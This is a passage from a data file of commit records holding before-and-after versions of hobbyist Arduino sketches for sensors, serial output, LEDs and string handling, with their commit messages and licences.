2;\n break;\n default:\n break;\n\n }\n\n \/\/Sending a response after the command has completed\n Serial.write(output, numBytes);\n\n }\n}","subject":"Send a response after the Arduino has completed its work.","message":"Send a response after the Arduino has completed its work.\n","lang":"Arduino","license":"mit","repos":"jaredwolff\/arduino-raspberrypi-serial-example"} {"commit":"47e23614af14a5bf5385cf093b7623285fd94552","old_file":"Arduino-code\/two-sensors-test\/two-sensors-test.ino","new_file":"Arduino-code\/two-sensors-test\/two-sensors-test.ino","old_contents":"\/*\nPines of the first sensor.\n*\/\n#define S1echo 7\n#define S1trig 8\n\n\/*\nPines of the second sensor.\n*\/\n#define S2echo 10\n#define S2trig 11\n\nlong duration, distance;\nvoid setup() {\n \/*\n Setup of the echo & trig of everysensor.\n *\/\n pinMode(S1echo, INPUT);\n \/\/pinMode(S2echo, INPUT);\n \n pinMode(S1trig, OUTPUT);\n \/\/pinMode(S2trig, OUTPUT);\n\n}\n\nvoid loop() {\n printReadings(\"Testing\",0);\n estimateDistance(S1trig, S1echo);\n delayMicroseconds(1000);\n}\n\nvoid printReadings(String label, long value){\n String phrase = label+\": \"+value;\n Serial.print(phrase);\n}\n\n\/*\nEstimate the distance received from the ultrasonic sensor.\n*\/\nint estimateDistance(int trig, int echo){\n digitalWrite(trig,LOW);\n delayMicroseconds(2);\n \n digitalWrite(trig,HIGH);\n delayMicroseconds(10);\n \n digitalWrite(trig,LOW);\n \n \/\/Claculate Duration of pulse.\n duration = pulseIn(echo,HIGH);\n printReadings(\"Duration\", duration);\n \n \/\/Distance in centimeters\n distance = duration\/58.2;\n printReadings(\"Distance\", distance);\n \n return distance;\n}\n\n\n\n\n","new_contents":"\/*\nPines of the first sensor.\n*\/\n#define S1echo 7\n#define S1trig 8\n\n\/*\nPines of the second sensor.\n*\/\n#define S2echo 10\n#define S2trig 11\n\nlong duration, distance;\nvoid setup() {\n Serial.begin(9600); \n \/*\n Setup of the echo & trig of everysensor.\n *\/\n pinMode(S1echo, INPUT);\n \/\/pinMode(S2echo, INPUT);\n \n pinMode(S1trig, OUTPUT);\n \/\/pinMode(S2trig, OUTPUT);\n\n}\n\nvoid loop() {\n printString(\"Testing\");\n estimateDistance(S1trig, S1echo);\n delay(10000);\n}\n\nvoid printReadings(String label, long value){\n String phrase = label+\": \"+value;\n printString(phrase);\n}\nvoid printString(String phrase){\n Serial.println(phrase);\n Serial.println(\" \");\n}\n\/*\nEstimate the distance received from the ultrasonic sensor.\n*\/\nint estimateDistance(int trig, int echo){\n digitalWrite(trig,LOW);\n delayMicroseconds(2);\n \n digitalWrite(trig,HIGH);\n delayMicroseconds(10);\n \n digitalWrite(trig,LOW);\n \n \/\/Calculate Duration of pulse.\n duration = pulseIn(echo,HIGH);\n printReadings(\"Duration\", duration);\n \n \/\/Distance in centimeters\n distance = duration\/58.2;\n printReadings(\"Distance\", distance);\n \n return distance;\n}\n\n\n\n\n","subject":"Change on Serial stuff to show data","message":"Change on Serial stuff to show data\n","lang":"Arduino","license":"apache-2.0","repos":"Michotastico\/Ultrasonic-sensors-project"} {"commit":"1551a1509410c4c0481309fff94c815bb9518bb4","old_file":"examples\/Boards_USB_Serial\/chipKIT_Uno32\/chipKIT_Uno32.ino","new_file":"examples\/Boards_USB_Serial\/chipKIT_Uno32\/chipKIT_Uno32.ino","old_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how to use ordinary Arduino Serial\n * to connect your project to Blynk.\n * Feel free to apply it to any other example. It's simple!\n *\n **************************************************************\n * USB HOWTO: http:\/\/tiny.cc\/BlynkUSB\n **************************************************************\/\n\n#define BLYNK_PRINT Serial1\n#include \n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nvoid setup()\n{\n \/\/ Debug prints on pins 39 (RX), 40 (TX)\n Serial1.begin(9600);\n\n \/\/ Blynk will work through Serial\n Serial.begin(9600);\n Blynk.begin(auth, Serial);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how to use ordinary Arduino Serial\n * to connect your project to Blynk.\n * Feel free to apply it to any other example. It's simple!\n *\n **************************************************************\n * USB HOWTO: http:\/\/tiny.cc\/BlynkUSB\n **************************************************************\/\n\n#define BLYNK_PRINT Serial1\n#include \n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nvoid setup()\n{\n \/\/ Debug prints on pins 39 (RX), 40 (TX)\n Serial1.begin(9600);\n\n \/\/ Blynk will work through Serial\n Serial.begin(9600);\n Blynk.begin(auth, Serial);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","subject":"Switch chipKIT UNO32 to use new Stream API","message":"Switch chipKIT UNO32 to use new Stream API\n","lang":"Arduino","license":"mit","repos":"ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library"} {"commit":"a07135953d243ad2fc7869da66244bdd9ec70006","old_file":"examples\/DoorSensor\/DoorSensor.ino","new_file":"examples\/DoorSensor\/DoorSensor.ino","old_contents":"#include \n\nconst int doorPin = 16;\n\nBounce debouncer = Bounce(); \/\/ Bounce is built into Homie, so you can use it without including it first\nunsigned long lastDoorValue = -1;\n\nHomieNode doorNode(\"door\", \"door\");\n\nvoid loopHandler() {\n int doorValue = debouncer.read();\n\n if (doorValue != lastDoorValue) {\n Serial.print(\"Door is now: \");\n Serial.println(doorValue ? \"open\" : \"close\");\n\n if (Homie.setNodeProperty(doorNode, \"open\", String(doorValue ? \"true\" : \"false\"), true)) {\n lastDoorValue = doorValue;\n } else {\n Serial.println(\"Sending failed\");\n }\n }\n}\n\nvoid setup() {\n pinMode(doorPin, INPUT);\n digitalWrite(doorPin, HIGH);\n debouncer.attach(doorPin);\n debouncer.interval(50);\n\n Homie.setFirmware(\"awesome-door\", \"1.0.0\");\n Homie.registerNode(doorNode);\n Homie.setLoopFunction(loopHandler);\n Homie.setup();\n}\n\nvoid loop() {\n Homie.loop();\n debouncer.update();\n}\n","new_contents":"#include \n\nconst int PIN_DOOR = 16;\n\nBounce debouncer = Bounce(); \/\/ Bounce is built into Homie, so you can use it without including it first\nunsigned long lastDoorValue = -1;\n\nHomieNode doorNode(\"door\", \"door\");\n\nvoid loopHandler() {\n int doorValue = debouncer.read();\n\n if (doorValue != lastDoorValue) {\n Serial.print(\"Door is now: \");\n Serial.println(doorValue ? \"open\" : \"close\");\n\n if (Homie.setNodeProperty(doorNode, \"open\", String(doorValue ? \"true\" : \"false\"), true)) {\n lastDoorValue = doorValue;\n } else {\n Serial.println(\"Sending failed\");\n }\n }\n}\n\nvoid setup() {\n pinMode(PIN_DOOR, INPUT);\n digitalWrite(PIN_DOOR, HIGH);\n debouncer.attach(PIN_DOOR);\n debouncer.interval(50);\n\n Homie.setFirmware(\"awesome-door\", \"1.0.0\");\n Homie.registerNode(doorNode);\n Homie.setLoopFunction(loopHandler);\n Homie.setup();\n}\n\nvoid loop() {\n Homie.loop();\n debouncer.update();\n}\n","subject":"Fix caps in constant example","message":"Fix caps in constant example\n","lang":"Arduino","license":"mit","repos":"euphi\/homie-esp8266,marvinroger\/homie-esp8266,marvinroger\/homie-esp8266,euphi\/homie-esp8266,marvinroger\/homie-esp8266,euphi\/homie-esp8266,marvinroger\/homie-esp8266,euphi\/homie-esp8266"} {"commit":"294654c326b715ed26e8910b1429f26ec95af053","old_file":"examples\/moving_average\/moving_average.ino","new_file":"examples\/moving_average\/moving_average.ino","old_contents":"\/\/ Moving Average Example\n\/\/ Shows how to use an FIR filter as a moving average on a simple\n\/\/ set of data that can be easily verified by hand.\n\n#include \n\n\/\/ Make an instance of the FIR filter. In this example we'll use\n\/\/ floating point values and an 8 element filter. For a moving average\n\/\/ that means an 8 point moving average.\nFIR fir;\n\nvoid setup() {\n Serial.begin(115200); \/\/ Start a serial port\n\n \/\/ For a moving average we want all of the coefficients to be unity.\n float coef[8] = { 1., 1., 1., 1., 1., 1., 1., 1.};\n\n \/\/ Set the coefficients\n fir.setFilterCoeffs(coef);\n\n \/\/ The gain should be the number of elements for a moving average.\n float gain = 8;\n\n \/\/ Set the gain\n fir.setGain(gain);\n}\n\nvoid loop() {\n \/\/ Calculate the moving average for a time series with the elements.\n \/\/ 0, 1, 2, ...., 13, 14, 15\n for (float i=0; i < 16; i++) {\n Serial.println(fir.processReading(i));\n }\n\n while (true) {}; \/\/ Spin forever\n}\n\n","new_contents":"\/\/ Moving Average Example\n\/\/ Shows how to use an FIR filter as a moving average on a simple\n\/\/ set of data that can be easily verified by hand.\n\n#include \n\n\/\/ Make an instance of the FIR filter. In this example we'll use\n\/\/ floating point values and an 8 element filter. For a moving average\n\/\/ that means an 8 point moving average.\nFIR fir;\n\nvoid setup() {\n Serial.begin(115200); \/\/ Start a serial port\n\n \/\/ For a moving average we want all of the coefficients to be unity.\n float coef[8] = { 1., 1., 1., 1., 1., 1., 1., 1.};\n\n \/\/ Set the coefficients\n fir.setFilterCoeffs(coef);\n\n Serial.print(\"Gain set: \");\n Serial.println(fir.getGain());\n}\n\nvoid loop() {\n \/\/ Calculate the moving average for a time series with the elements.\n \/\/ 0, 1, 2, ...., 13, 14, 15\n for (float i=0; i < 16; i++) {\n Serial.println(fir.processReading(i));\n }\n\n while (true) {}; \/\/ Spin forever\n}\n\n","subject":"Change to use automatic gain.","message":"Change to use automatic gain.\n","lang":"Arduino","license":"mit","repos":"LeemanGeophysicalLLC\/FIR_Filter_Arduino_Library"} {"commit":"bc5538ad2eee292d99e0088edfb00a6379042dbd","old_file":"examples\/sensors\/ultrasounds\/HCSR04\/HCSR04.ino","new_file":"examples\/sensors\/ultrasounds\/HCSR04\/HCSR04.ino","old_contents":"#include \n\nSR04 front;\nconst int TRIGGER_PIN = 6; \/\/D6\nconst int ECHO_PIN = 7; \/\/D7\n\nvoid setup() {\n Serial.begin(9600);\n front.attach(TRIGGER_PIN, ECHO_PIN); \/\/trigger pin, echo pin\n}\n\nvoid loop() {\n Serial.println(front.getDistance());\n delay(100);\n}\n\n","new_contents":"#include \n\nconst int TRIGGER_PIN = 6; \/\/D6\nconst int ECHO_PIN = 7; \/\/D7\nSR04 front(TRIGGER_PIN, ECHO_PIN, 10);\n\n\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n Serial.println(front.getDistance());\n delay(100);\n}\n\n","subject":"Update SR04 example to new 5.0 API","message":"Update SR04 example to new 5.0 API\n","lang":"Arduino","license":"mit","repos":"platisd\/smartcar_shield,platisd\/smartcar_shield"} {"commit":"11352d2fbdf8b4e8f50011b70a35cb02b9af1d79","old_file":"Arduino\/ADXL335\/ADXL335.ino","new_file":"Arduino\/ADXL335\/ADXL335.ino","old_contents":"int vinpin = A0;\nint voutpin = A1;\nint gndpin = A2;\nint zpin = A3;\nint ypin = A4;\nint xpin = A5;\n\nvoid setup() {\n Serial.begin(115200);\n pinMode(vinpin, OUTPUT); digitalWrite(vinpin, HIGH);\n pinMode(gndpin, OUTPUT); digitalWrite(gndpin, LOW);\n pinMode(voutpin, INPUT);\n pinMode(xpin, INPUT);\n pinMode(ypin, INPUT);\n pinMode(zpin, INPUT);\n}\n\nvoid loop() {\n Serial.print(analogRead(xpin)); Serial.print(\"\\t\");\n Serial.print(analogRead(ypin)); Serial.print(\"\\t\");\n Serial.print(analogRead(zpin)); Serial.println();\n}\n","new_contents":"int vinpin = A0;\nint voutpin = A1;\nint gndpin = A2;\nint zpin = A3;\nint ypin = A4;\nint xpin = A5;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(vinpin, OUTPUT); digitalWrite(vinpin, HIGH);\n pinMode(gndpin, OUTPUT); digitalWrite(gndpin, LOW);\n pinMode(voutpin, INPUT);\n pinMode(xpin, INPUT);\n pinMode(ypin, INPUT);\n pinMode(zpin, INPUT);\n}\n\nvoid loop() {\n Serial.print(analogRead(xpin)); Serial.print(\"\\t\");\n Serial.print(analogRead(ypin)); Serial.print(\"\\t\");\n Serial.print(analogRead(zpin)); Serial.println();\n}\n","subject":"Change baud rate to 9600.","message":"Change baud rate to 9600.\n","lang":"Arduino","license":"bsd-3-clause","repos":"damellis\/ESP,damellis\/ESP"} {"commit":"fac842f4f5206cfc1d80d63bd7a38cddd8e7078c","old_file":"payload\/payload.ino","new_file":"payload\/payload.ino","old_contents":"#include \n\n\/\/ begin SD card libraries\n#include \n#include \n#include \n#include \n#include \n#include \n\/\/ end SD card libraries\n\n#include \"Bmp180.h\" \/\/ RCR header\n\nFile file; \/\/ file object\n\/\/SdFatSdio sd_card; \/\/ MicroSD card\n\nnamespace rcr {\nnamespace level1payload {\n\nvoid setup() {\n \/\/ Start serial communication.\n Serial.begin(9600); \/\/ in bits\/second\n}\n\nvoid printBmpData(void) {\n\n Serial.print(\"Temperature = \");\n Serial.print(bmp_data.temperature);\n Serial.println(\" °C\");\n\n Serial.print(\"Ambient pressure = \");\n Serial.print(bmp_data.ambient_pressure);\n Serial.println(\" Pa\");\n\n Serial.print(\"Pressure altitude = \");\n Serial.print(bmp_data.pressure_altitude);\n Serial.println(\" meters\");\n Serial.println();\n}\n\nvoid loop() {\n printBmpData();\n delay(1000);\n}\n\n} \/\/ namespace level1_payload\n} \/\/ namespace rcr\n","new_contents":"#include \n\n\/\/ begin SD card libraries\n#include \n#include \n#include \n#include \n#include \n#include \n\/\/ end SD card libraries\n\n#include \"Bmp180.h\" \/\/ RCR header\n\nnamespace rcr {\nnamespace level1payload {\n\nBmp180 bmp;\nFile file; \/\/ file object\n\/\/SdFatSdio sd_card; \/\/ MicroSD card\n\nvoid setup() {\n \/\/ Start serial communication.\n Serial.begin(9600); \/\/ in bits\/second\n}\n\nvoid printBmpData(void) {\n\n Serial.print(\"Temperature = \");\n Serial.print(bmp.temperature());\n Serial.println(\" °C\");\n\n Serial.print(\"Ambient pressure = \");\n Serial.print(bmp.ambient_pressure());\n Serial.println(\" Pa\");\n\n Serial.print(\"Pressure altitude = \");\n Serial.print(bmp.pressure_altitude());\n Serial.println(\" meters\");\n Serial.println();\n}\n\nvoid loop() {\n printBmpData();\n delay(1000);\n}\n\n} \/\/ namespace level1_payload\n} \/\/ namespace rcr\n","subject":"Implement custom BMP data structure in program","message":"Implement custom BMP data structure in program\n","lang":"Arduino","license":"mit","repos":"nolanholden\/geovis,nolanholden\/payload-level1-rocket,nolanholden\/geovis,nolanholden\/geovis"} {"commit":"6b48bf0b8a7eeb86a4ab6dcdfc9f42834b16c527","old_file":"zg01\/zg01.ino","new_file":"zg01\/zg01.ino","old_contents":"#include \n\n#include \"zg01_fsm.h\"\n\n#define PIN_CLOCK 2\n#define PIN_DATA 3\n#define PIN_LED 13\n\nstatic uint8_t buffer[5];\n\nvoid setup(void)\n{\n \/\/ initialize ZG01 pins\n pinMode(PIN_CLOCK, INPUT);\n pinMode(PIN_DATA, INPUT);\n\n \/\/ initialize LED\n pinMode(PIN_LED, OUTPUT);\n\n \/\/ initialize serial port\n Serial.begin(9600);\n Serial.println(\"Hello world!\\n\");\n \n \/\/ initialize ZG01 finite state machine\n zg01_init(buffer);\n}\n\nvoid loop(void)\n{\n \/\/ wait until clock is low\n while (digitalRead(PIN_CLOCK) != LOW);\n\n \/\/ indicate activity on LED\n digitalWrite(PIN_LED, HIGH);\n \n \/\/ sample data and process in the ZG01 state machine\n uint8_t data = (digitalRead(PIN_DATA) == HIGH) ? 1 : 0;\n unsigned long ms = millis();\n bool ready = zg01_process(ms, data);\n \n \/\/ process data if ready\n if (ready) {\n for (int i = 0; i < 5; i++) {\n Serial.print(HEX, buffer[i]);\n Serial.print(\" \");\n }\n Serial.println();\n }\n\n \/\/ wait until clock is high again\n while (digitalRead(PIN_CLOCK) == LOW); \n\n \/\/ indicate activity on LED\n digitalWrite(PIN_LED, LOW);\n}\n\n\n","new_contents":"#include \n\n#include \"zg01_fsm.h\"\n\n#define PIN_CLOCK 2\n#define PIN_DATA 3\n#define PIN_LED 13\n\nstatic uint8_t buffer[5];\n\nvoid setup(void)\n{\n \/\/ initialize ZG01 pins\n pinMode(PIN_CLOCK, INPUT);\n pinMode(PIN_DATA, INPUT);\n\n \/\/ initialize LED\n pinMode(PIN_LED, OUTPUT);\n\n \/\/ initialize serial port\n Serial.begin(9600);\n Serial.println(\"Hello world!\\n\");\n \n \/\/ initialize ZG01 finite state machine\n zg01_init(buffer);\n}\n\nvoid loop(void)\n{\n \/\/ wait until clock is low\n while (digitalRead(PIN_CLOCK) != LOW);\n\n \/\/ indicate activity on LED\n digitalWrite(PIN_LED, HIGH);\n \n \/\/ sample data and process in the ZG01 state machine\n uint8_t data = (digitalRead(PIN_DATA) == HIGH) ? 1 : 0;\n unsigned long ms = millis();\n bool ready = zg01_process(ms, data);\n \n \/\/ process data if ready\n if (ready) {\n for (int i = 0; i < 5; i++) {\n Serial.print(buffer[i], HEX);\n Serial.print(\" \");\n }\n Serial.println();\n }\n\n \/\/ wait until clock is high again\n while (digitalRead(PIN_CLOCK) == LOW); \n\n \/\/ indicate activity on LED\n digitalWrite(PIN_LED, LOW);\n}\n\n\n","subject":"Fix order of Serial.println arguments for HEX printing","message":"Fix order of Serial.println arguments for HEX printing\n","lang":"Arduino","license":"mit","repos":"revspace\/co2sensor,revspace\/co2sensor,vvzvlad\/co2sensor_esp8266,vvzvlad\/co2sensor_esp8266"} {"commit":"8c98c4758bf9490ed21513a2e926416b4fe74641","old_file":"examples\/ambientlight\/ambientlight.ino","new_file":"examples\/ambientlight\/ambientlight.ino","old_contents":"\/\/\n\/\/ FaBo AmbientLight Brick\n\/\/\n\/\/ brick_i2c_ambientlight\n\/\/\n\n#include \n#include \"fabo-isl29034.h\"\n\nvoid setup()\n{\n Serial.begin(115200);\n \n faboAmbientLight.configuration();\n faboAmbientLight.powerOn();\n}\n\nvoid loop()\n{ \n double ambient = faboAmbientLight.readData();\n\n Serial.print(\"Ambient:\");\n Serial.println(ambient);\n delay(1000);\n}\n","new_contents":"\/\/\n\/\/ FaBo AmbientLight Brick\n\/\/\n\/\/ brick_i2c_ambientlight\n\/\/\n\n#include \n#include \"fabo-isl29034.h\"\n\nFaBoAmbientLight faboAmbientLight;\n\nvoid setup()\n{\n Serial.begin(115200);\n \n faboAmbientLight.configuration();\n faboAmbientLight.powerOn();\n}\n\nvoid loop()\n{ \n double ambient = faboAmbientLight.readData();\n\n Serial.print(\"Ambient:\");\n Serial.println(ambient);\n delay(1000);\n}\n","subject":"Update class name. ToDo: search slave address.","message":"Update class name.\nToDo: search slave address.\n","lang":"Arduino","license":"apache-2.0","repos":"FaBoPlatform\/FaBoAmbientLight-ISL29034-Library"} {"commit":"0c2bb4e831da84baaeb837246912140787e0d4bd","old_file":"firmware\/examples\/parse_hex.ino","new_file":"firmware\/examples\/parse_hex.ino","old_contents":"\/\/ This provides a variable, colour, a function to set the variable from a hex\n\/\/ string, set_colour, and programs the RGB LED on the spark core to reflect\n\/\/ the RRGGBB value last programmed. The default on reboot is black.\n\n\/\/ BEWARE: British spelling ahead!\n\n#include \"spark-parse.h\"\n\nstatic int colour = 0;\n\nint set_colour(String args)\n{\n \/\/ parse_hex only likes uppercase\n args.toUpperCase();\n \n \/\/ Parse arg to colour settings\n int val = parse_hex(args);\n if (val != -1) {\n colour = val;\n }\n\n \/\/ Returns the value, if it took, or the previous colour setting, if\n \/\/ it didn't.\n return colour;\n}\n\nvoid setup() {\n RGB.control(true);\n\n Spark.function(\"set_colour\", set_colour);\n Spark.variable(\"colour\", &colour, INT);\n}\n\nvoid loop() {\n \/\/ Colour value is the standard RRGGBB layout, which we break up here.\n RGB.color((colour >> 16) & 255, (colour >> 8) & 255, colour & 255);\n}\n\n","new_contents":"#include \"spark-parse\/spark-parse.h\"\n\n\/\/ This provides a variable, colour, a function to set the variable from a hex\n\/\/ string, set_colour, and programs the RGB LED on the spark core to reflect\n\/\/ the RRGGBB value last programmed. The default on reboot is black.\n\n\/\/ BEWARE: British spelling ahead!\n\nstatic int colour = 0;\n\nint set_colour(String args)\n{\n \/\/ parse_hex only likes uppercase\n args.toUpperCase();\n \n \/\/ Parse arg to colour settings\n int val = parse_hex(args);\n if (val != -1) {\n colour = val;\n }\n\n \/\/ Returns the value, if it took, or the previous colour setting, if\n \/\/ it didn't.\n return colour;\n}\n\nvoid setup() {\n RGB.control(true);\n\n Spark.function(\"set_colour\", set_colour);\n Spark.variable(\"colour\", &colour, INT);\n}\n\nvoid loop() {\n \/\/ Colour value is the standard RRGGBB layout, which we break up here.\n RGB.color((colour >> 16) & 255, (colour >> 8) & 255, colour & 255);\n}\n\n","subject":"Correct the include path to the one the Spark IDE wants","message":"Correct the include path to the one the Spark IDE wants\n","lang":"Arduino","license":"mit","repos":"iawells\/spark-parse,iawells\/spark-parse"} {"commit":"ad4bf3eb698ae7d81a0b08ec5f8bd9f444100650","old_file":"build\/shared\/examples\/6.Strings\/StringReplace\/StringReplace.ino","new_file":"build\/shared\/examples\/6.Strings\/StringReplace\/StringReplace.ino","old_contents":"\/*\r\n String replace()\r\n Examples of how to replace characters or substrings of a string\r\n \r\n created 27 July 2010\r\n modified 2 Apr 2012\r\n by Tom Igoe\r\n\r\n Hardware Required:\r\n * MSP-EXP430G2 LaunchPad\r\n \r\n This example code is in the public domain. \r\n*\/\r\n\r\nvoid setup() {\r\n \/\/ Open serial communications and wait for port to open:\r\n Serial.begin(9600);\r\n\r\n \/\/ send an intro:\r\n Serial.println(\"\\n\\nString replace:\\n\");\r\n Serial.println();\r\n}\r\n\r\nvoid loop() {\r\n String stringOne = \"\"\";\r\n Serial.println(stringOne);\r\n \/\/ replace() changes all instances of one substring with another:\r\n \/\/ first, make a copy of th original string:\r\n String stringTwo = stringOne;\r\n \/\/ then perform the replacements:\r\n stringTwo.replace(\"<\", \"<\/\");\r\n \/\/ print the original:\r\n Serial.println(\"Original string: \" + stringOne);\r\n \/\/ and print the modified string:\r\n Serial.println(\"Modified string: \" + stringTwo);\r\n\r\n \/\/ you can also use replace() on single characters:\r\n String normalString = \"bookkeeper\";\r\n Serial.println(\"normal: \" + normalString);\r\n String leetString = normalString;\r\n leetString.replace('o', '0');\r\n leetString.replace('e', '3');\r\n Serial.println(\"l33tspeak: \" + leetString);\r\n\r\n \/\/ do nothing while true:\r\n while(true);\r\n}","new_contents":"\/*\r\n String replace()\r\n Examples of how to replace characters or substrings of a string\r\n \r\n created 27 July 2010\r\n modified 2 Apr 2012\r\n by Tom Igoe\r\n\r\n Hardware Required:\r\n * MSP-EXP430G2 LaunchPad\r\n \r\n This example code is in the public domain. \r\n*\/\r\n\r\nvoid setup() {\r\n \/\/ Open serial communications and wait for port to open:\r\n Serial.begin(9600);\r\n\r\n \/\/ send an intro:\r\n Serial.println(\"\\n\\nString replace:\\n\");\r\n Serial.println();\r\n}\r\n\r\nvoid loop() {\r\n String stringOne = \"\";\r\n Serial.println(stringOne);\r\n \/\/ replace() changes all instances of one substring with another:\r\n \/\/ first, make a copy of th original string:\r\n String stringTwo = stringOne;\r\n \/\/ then perform the replacements:\r\n stringTwo.replace(\"<\", \"<\/\");\r\n \/\/ print the original:\r\n Serial.println(\"Original string: \" + stringOne);\r\n \/\/ and print the modified string:\r\n Serial.println(\"Modified string: \" + stringTwo);\r\n\r\n \/\/ you can also use replace() on single characters:\r\n String normalString = \"bookkeeper\";\r\n Serial.println(\"normal: \" + normalString);\r\n String leetString = normalString;\r\n leetString.replace('o', '0');\r\n leetString.replace('e', '3');\r\n Serial.println(\"l33tspeak: \" + leetString);\r\n\r\n \/\/ do nothing while true:\r\n while(true);\r\n}\r\n","subject":"Fix typo in string termination","message":"Fix typo in string termination\n","lang":"Arduino","license":"lgpl-2.1","repos":"vigneshmanix\/Energia,bobintornado\/Energia,qtonthat\/Energia,croberts15\/Energia,danielohh\/Energia,battosai30\/Energia,cevatbostancioglu\/Energia,dvdvideo1234\/Energia,battosai30\/Energia,danielohh\/Energia,cevatbostancioglu\/Energia,qtonthat\/Energia,sanyaade-iot\/Energia,radiolok\/Energia,sanyaade-iot\/Energia,martianmartin\/Energia,bobintornado\/Energia,vigneshmanix\/Energia,cevatbostancioglu\/Energia,qtonthat\/Energia,dvdvideo1234\/Energia,martianmartin\/Energia,NoPinky\/Energia,DavidUser\/Energia,cevatbostancioglu\/Energia,croberts15\/Energia,battosai30\/Energia,bobintornado\/Energia,sanyaade-iot\/Energia,vigneshmanix\/Energia,bobintornado\/Energia,vigneshmanix\/Energia,NoPinky\/Energia,battosai30\/Energia,DavidUser\/Energia,battosai30\/Energia,brianonn\/Energia,dvdvideo1234\/Energia,radiolok\/Energia,danielohh\/Energia,qtonthat\/Energia,martianmartin\/Energia,danielohh\/Energia,sanyaade-iot\/Energia,radiolok\/Energia,sanyaade-iot\/Energia,qtonthat\/Energia,NoPinky\/Energia,dvdvideo1234\/Energia,NoPinky\/Energia,DavidUser\/Energia,radiolok\/Energia,NoPinky\/Energia,martianmartin\/Energia,vigneshmanix\/Energia,dvdvideo1234\/Energia,qtonthat\/Energia,cevatbostancioglu\/Energia,vigneshmanix\/Energia,danielohh\/Energia,croberts15\/Energia,croberts15\/Energia,brianonn\/Energia,NoPinky\/Energia,cevatbostancioglu\/Energia,battosai30\/Energia,martianmartin\/Energia,brianonn\/Energia,cevatbostancioglu\/Energia,NoPinky\/Energia,radiolok\/Energia,croberts15\/Energia,bobintornado\/Energia,dvdvideo1234\/Energia,battosai30\/Energia,bobintornado\/Energia,DavidUser\/Energia,radiolok\/Energia,croberts15\/Energia,DavidUser\/Energia,DavidUser\/Energia,brianonn\/Energia,brianonn\/Energia,sanyaade-iot\/Energia,sanyaade-iot\/Energia,martianmartin\/Energia,martianmartin\/Energia,brianonn\/Energia,qtonthat\/Energia,DavidUser\/Energia,dvdvideo1234\/Energia,croberts15\/Energia,danielohh\/Energia,vigneshmanix\/Energia,brianonn\/Energia,bobintornado\/Energia,radiolok\/Energia,danielohh\/Energia"} {"commit":"7439aff0049d051f69a04aeb976d24defdd76be1","old_file":"arduino_code\/arduino_code.ino","new_file":"arduino_code\/arduino_code.ino","old_contents":"const int buttonPin = 2;\n\nint buttonState = 0;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(buttonPin, INPUT);\n}\n\nvoid loop() {\n int randNum = random(300);\n buttonState = digitalRead(buttonPin);\n \n if (buttonState == HIGH) {\n Serial.println(randNum);\n }\n delay(500);\n}\n","new_contents":"const int buttonPin = 2;\n\nint buttonState = 0;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(buttonPin, INPUT);\n}\n\nvoid loop() {\n int randNum = random(300);\n buttonState = digitalRead(buttonPin);\n \n if (buttonState == HIGH) {\n Serial.println(randNum);\n while(buttonState) {\n buttonState = digitalRead(buttonPin); \n }\n }\n delay(50);\n}\n","subject":"Update delay time for arduino button read","message":"Update delay time for arduino button read\n","lang":"Arduino","license":"mit","repos":"darmbrus\/plant-watering-tracker,darmbrus\/plant-watering-tracker,darmbrus\/plant-watering-tracker,darmbrus\/plant-watering-tracker,darmbrus\/plant-watering-tracker"} {"commit":"fd2631164b66d61a98ad4da6eac933c9e079acd7","old_file":"battery_indicator\/battery_indicator.ino","new_file":"battery_indicator\/battery_indicator.ino","old_contents":"\/*\n Battery indicator on the TFT screen.\n *\/\n\n#include \n#include \"RobotBattery.h\"\n\nRobotBattery battery = RobotBattery();\nint bat_val_prev = 0;\n\nvoid setup() {\n \n \/\/ initialize the robot\n Robot.begin();\n \n \/\/ initialize the screen\n Robot.beginTFT();\n \n \/\/ Black screen\n Robot.background(0,0,0);\n\n \/\/ Draw the battery icon with white edges.\n battery.beginIcon(255, 255, 255);\n\n}\nvoid loop()\n{\n\n int bat_val = battery.update();\n if (bat_val != bat_val_prev) {\n bat_val_prev = bat_val;\n \/\/ Large number center screen \n \/\/ Clear\n Robot.stroke(0,0,0);\n Robot.textSize(3);\n Robot.text(bat_val_prev, 15, 50); \n \/\/ Write\n Robot.stroke(0,255,0);\n Robot.textSize(3);\n Robot.text(bat_val, 15, 50); \n \n Robot.textSize(2);\n Robot.text(\"mV\", 92, 58); \n }\n \n delay(2000);\n}\n\n","new_contents":"\/*\n Battery indicator on the TFT screen.\n *\/\n\n#include \n#include \"RobotBattery.h\"\n\nRobotBattery battery = RobotBattery();\nint bat_val_prev = 0;\n\nvoid setup() {\n \n \/\/ initialize the robot\n Robot.begin();\n \n \/\/ initialize the screen\n Robot.beginTFT();\n \n \/\/ Black screen\n Robot.background(0,0,0);\n\n \/\/ Draw the battery icon with white edges.\n battery.beginIcon(255, 255, 255);\n\n}\nvoid loop()\n{\n\n int bat_val = battery.update();\n if (bat_val != 